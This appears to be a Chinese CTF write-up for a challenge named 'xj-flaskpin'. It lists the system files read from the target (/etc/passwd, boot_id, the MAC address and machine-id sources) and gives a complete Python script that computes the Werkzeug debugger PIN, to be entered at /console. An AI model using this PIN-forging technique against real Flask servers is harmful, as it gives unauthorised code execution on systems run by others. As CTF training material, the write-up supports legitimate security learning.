xj-flaskpin

​​

可以看到存在console接口且题目名字是flaskpin可以确定是flask计算pin码获取console

python版本是3.8的

​​

需要读取

/etc/passwd

/proc/sys/kernel/random/boot_id

/sys/class/net/eth0/address

​

​

​​

还需要werkzeug的版本确定是高版本还是低版本，但是这个脚本已经包含了两种版本所以不需要获取了

import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # username，通过/etc/passwd
    'flask.app',  # modname，默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir，通过报错获得
]
# 填入获取的16进制即可，后面添加了转换功能
address = '3e:60:57:4d:9a:c4'    # /sys/class/net/eth0/address
address = int(address.replace(':', ''),16)
private_bits = [
    f'{address}',  # mac十进制值 /sys/class/net/eth0/address
    '8c7801e8-bc17-47cc-b738-2814eb0df8f0'  # 看上面machine-id部分
]
# machine_id
# 每一个机器都会有自已唯一的id，linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id，docker靶机则读取/proc/self/cgroup，其中第一行的/docker/字符串后面的内容作为机器的id，在非docker环境下读取后两个，非docker环境三个都需要读取
#
# /etc/machine-id
# /proc/sys/kernel/random/boot_id
# /proc/self/cgroup

# 下面为源码里面抄的，不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
        else:
            rv = num

print(rv)

# 下面为源码里面抄的，不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

访问/console

输入计算得到的pin码

​​

​​